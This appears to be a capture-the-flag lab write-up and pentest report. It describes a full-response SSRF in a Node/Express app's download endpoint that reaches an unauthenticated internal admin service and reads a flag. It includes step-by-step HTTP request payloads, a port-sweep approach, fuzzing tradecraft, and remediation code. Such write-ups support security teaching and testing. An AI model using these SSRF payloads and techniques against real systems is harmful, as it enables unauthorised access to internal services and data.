Hacker's Paradise: Full-Response SSRF to Internal Admin Service
Part 1: Pentest Report
Executive Summary
Hacker’s Paradise is a 90s/2000s warez-nostalgia web application themed around The Matrix, backed by a Node/Express JSON API. The objective is the redpill role and the admin console at /api/redpillconsole/*, which holds the flag. The public admin route group is correctly gated: every /api/redpillconsole/* request from an unprivileged bluepill account returns 403. That gate is irrelevant. The application exposes a LimeWire “download” feature that fetches an attacker-supplied URL server-side and returns the upstream response body verbatim. The fetch reaches an internal admin service on localhost:4001 that has no authentication of its own, and the flag is served from http://localhost:4001/admin/flag.txt.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Full-response SSRF reaches internal admin service | High | 7.7 | CWE-918, CWE-441 | POST /api/limewire/download |
The headline finding is a server-side request forgery that returns the fetched body to the caller. Any registered user can read internal-only services that the public application’s role gate was meant to protect. The role gate on the public admin routes is never defeated and never needs to be: the SSRF talks to the backend directly.
Objective
Capture the flag on the Hacker’s Paradise lab. The flag lives behind the redpill admin role; the engagement goal was to reach it from an unprivileged bluepill starting position.
Scope / Initial Access
# Target Application
URL: https://lab-1780004722867-yjv70t.labs-app.bugforge.io
# Auth details
POST /api/auth/register {username,password} -> {success, token, user:{id,username,role:"bluepill"}}
POST /api/auth/login {username,password} -> {success, token}
GET /api/auth/me Bearer -> {authenticated, user:{id,username,role,iat,exp}}
Authorization: Bearer <jwt> # HS256, payload {id, username, role, iat, exp}
# A freshly registered account is issued role="bluepill" (unprivileged).
Registration is open. A new account receives a signed HS256 JWT with role:"bluepill". The privileged role is redpill. The static page /redpillconsole.html is served 200 to anyone, including bluepill accounts, so the real access control is on the API, not the page.
Reconnaissance: Mapping the API and the Internal Hint
The application surface was mapped from the per-page JavaScript bundles and the API responses. The LimeWire download feature and the admin route group shaped the entire test plan.
POST /api/limewire/downloadtakes atorrent_urland returns the fetched content inside adatafield. The legitimate value ishttp://localhost:4000/torrent/download/<file>, an internallocalhostaddress. A fetch feature whose normal input is an internal URL, and that hands the response body back to the caller, is a read into internal services.- The admin route group
/api/redpillconsole/*(stats, users, orders, guestbook) returns403to abluepillaccount uniformly across every route, so direct access-control drift on the public admin routes was ruled out early. - Authentication is JWT, HS256, payload
{id, username, role, iat, exp}. Theroleclaim is in the token, which raised JWT forgery as a fallback path that was not needed. - The legitimate
torrent_urlvalue disclosed an internal host and port (localhost:4000). That hint is the lead the SSRF was built on.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Node / Express, JSON API under /api/* |
| Frontend | Static HTML pages with per-page JS bundles (/js/*.js) |
| Auth | JWT (HS256) in localStorage.token, sent as Authorization: Bearer |
| Internal services | localhost:4000 (torrent service), localhost:4001 (admin service) |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/auth/register |
POST | No | Self-service registration, returns bluepill JWT |
/api/auth/login |
POST | No | Returns JWT |
/api/auth/me |
GET | Bearer | Returns decoded user from token |
/api/limewire/download |
POST | Bearer | Fetches torrent_url, returns body in data (F1) |
/api/limewire/files |
GET | Bearer | Search by ?q= |
/api/guestbook |
POST | Bearer | Stored guestbook entry |
/api/redpillconsole/* |
GET/DELETE | Bearer + redpill |
Admin console, returns 403 to bluepill |
Roles
| Role | Privilege |
|---|---|
bluepill |
Default on registration, unprivileged |
redpill |
Privileged, required for /api/redpillconsole/* |
Attack Chain Visualization
┌───────────────────┐ ┌───────────────────────┐ ┌──────────────────────┐ ┌─────────────────────┐
│ Register account │ │ POST /api/limewire/ │ │ Allowlist permits │ │ GET (via fetcher) │
│ bluepill JWT │ ──▶ │ download torrent_url= │ ──▶ │ localhost:4000 + │ ──▶ │ localhost:4001/ │
│ (any user) │ │ internal URL; body │ │ localhost:4001 │ │ admin/flag.txt │
│ │ │ returned in `data` │ │ (4001 = admin svc) │ │ -> flag in body │
└───────────────────┘ └───────────────────────┘ └──────────────────────┘ └─────────────────────┘
Findings
F1: Full-Response SSRF Reaches Internal Admin Service
Severity: High
CVSS v3.1: 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CWE: CWE-918 (Server-Side Request Forgery), CWE-441 (Unintended Proxy or Intermediary)
Endpoint: POST /api/limewire/download
Authentication required: Yes (any registered bluepill account)
Description
The LimeWire download feature fetches the URL supplied in torrent_url server-side and returns the upstream response body to the caller in the data field. The host and port are restricted by an allowlist that accepts the literal strings localhost:4000 and localhost:4001 (127.0.0.1 and other hosts are rejected with “Invalid service URL”), but any path on those two hosts is attacker-controlled and the body is reflected back unchanged.
The internal service on localhost:4001 has no authentication of its own. The public application enforces a redpill role gate on /api/redpillconsole/* (a bluepill account receives 403), but that gate protects only the public routes. The SSRF reaches the internal service directly, where the flag is served from /admin/flag.txt.
Impact
Any registered user can read internal-only services, including the admin service that holds the flag and order records containing calling-card numbers.
Reproduction
Step 1: Register an unprivileged account
POST /api/auth/register HTTP/1.1
Host: lab-1780004722867-yjv70t.labs-app.bugforge.io
Content-Type: application/json
{"username":"recon01","password":"Passw0rd!"}
Response: {"success":true,"token":"<jwt>","user":{"id":...,"username":"recon01","role":"bluepill"}}. The account is bluepill.
Step 2: Confirm the fetch reflects the upstream body
POST /api/limewire/download HTTP/1.1
Host: lab-1780004722867-yjv70t.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{"torrent_url":"http://localhost:4000/"}
Response contains the upstream body inside data. The server fetched an internal URL and returned its content to us.
Step 3: Map the allowlist boundary
A sweep of hosts and ports shows the allowlist accepts only localhost:4000 and localhost:4001. 127.0.0.1, other ports, and external hosts return Invalid service URL. The service on localhost:4001 is an admin service distinct from the 4000 torrent service.
Step 4: Read the flag from the internal admin service
POST /api/limewire/download HTTP/1.1
Host: lab-1780004722867-yjv70t.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json
{"torrent_url":"http://localhost:4001/admin/flag.txt"}
Response: the data field carries {"flag":"bug{iFAQhChtqvSNhpWICVvYZ4HBewayueVp}"}.
Remediation
Fix 1: Do not return the upstream response body to the caller
// BEFORE (Vulnerable): the fetched body is reflected back verbatim
const upstream = await fetch(torrent_url);
const data = await upstream.text();
return res.json({ success: true, data });
// AFTER (Secure): act on the response server-side; never reflect it
const upstream = await fetch(torrent_url);
if (!upstream.ok) return res.status(502).json({ error: "fetch failed" });
await persistTorrentMetadata(await upstream.json());
return res.json({ success: true }); // no upstream body in the response
Fix 2: Restrict the fetch target to an explicit, validated resource, not a free-form URL
// BEFORE (Vulnerable): caller supplies an arbitrary URL,
// host:port allowlist is the only check
const { torrent_url } = req.body;
// AFTER (Secure): caller supplies an opaque identifier; the server
// builds the URL from a fixed base it controls
const { torrent_id } = req.body;
if (!/^[a-zA-Z0-9_-]+$/.test(torrent_id)) return res.status(400).end();
const url = `http://torrent-service.internal/torrent/download/${torrent_id}`;
Additional recommendations:
- Require authentication on the internal services (
localhost:4000,localhost:4001); do not assume the network boundary is the only caller. - Enforce the allowlist on the resolved address, not the literal host string, to defeat DNS-rebinding and redirect bypasses.
- Disable redirect following on the server-side fetch, or re-validate every redirect hop against the allowlist.
OWASP Top 10 Coverage
- A10:2021 Server-Side Request Forgery (SSRF): The download feature fetches an attacker-supplied URL and returns the body, reaching internal services that are not meant to be client-accessible.
- A01:2021 Broken Access Control: The
redpillrole gate on the public admin routes is bypassed in effect: the internal admin service it protects is reached directly through the SSRF, which has no equivalent gate. - A04:2021 Insecure Design: A “fetch a URL” feature that reflects the upstream body, behind an internal network that trusts itself, is exploitable by design regardless of the host allowlist.
Tools Used
| Tool | Purpose |
|---|---|
| Browser DevTools | Reading per-page JS bundles and API responses |
| HTTP client (curl / Burp) | Issuing the download requests and the port sweep |
References
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-441: Unintended Proxy or Intermediary
- OWASP A10:2021 Server-Side Request Forgery
- OWASP SSRF Prevention Cheat Sheet
Part 2: Notes / Knowledge
Key Learnings
-
Map a capability’s full reach before chasing the first lead it surfaces. The moment a fetch, read, or injection capability is confirmed, the pull is to go deep on the first thing it touches. The cheaper, higher-yield move is breadth first: sweep the allowlist boundary, enumerate every reachable host, port, and path, then go depth-first on the best lead. Here, confirming the SSRF against
localhost:4000and immediately mining it missedlocalhost:4001until a port sweep surfaced it, and4001was where the flag lived. The miss is capability-shaped, not SSRF-shaped: the same trap waits on SQLi (every injectable parameter before dumping one table), file read (the whole path space), and IDOR (all sibling routes and verbs). -
Behind a path that answers
200to everything, the discriminator is the body, and the winning guesses are file and flag names, not dictionary words. An internal service that returns200 "You're so close"to every path defeats word-list fuzzing by status code, so paths have to be told apart by diffing response bodies, not statuses. Because frameworks register specific routes before wildcard catch-alls, a real file route (/admin/flag.txt) is reached before the decoy answers. Dictionary words found nothing; curated flag-file names (flag.txt,/app/flag.txt,/admin/flag.txt) won.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Direct access on public /api/redpillconsole/* GET routes |
Uniform 403 to bluepill |
Role gate is enforced consistently across the route group |
Word-list fuzzing of localhost:4001/admin/* paths |
200 “You’re so close” on every path |
Deliberate catch-all anti-fuzz response; only curated file/flag names hit a real route |
localhost:4000/redpillconsole/* and /rabbithole enumeration |
Decoy taunt trees (“How deep does the rabbit hole go?”) | Pure distraction; no flag-bearing route on 4000 |
SSRF to 127.0.0.1, other ports, cloud metadata |
Invalid service URL |
Allowlist accepts only the literal strings localhost:4000 / localhost:4001 |
Mass-assignment role:"redpill" on register; JWT alg=none / weak-secret forge |
Not exercised | Lab solved via SSRF; these remain unconfirmed secondary candidates |
SQLi on /api/limewire/files?q=; change-password IDOR; guestbook author spoofing |
Not exercised | Parked once the SSRF reached the flag |
Tags: #ssrf #full-response-ssrf #internal-service #broken-access-control #bugforge
Document Version: 1.0
Last Updated: 2026-06-03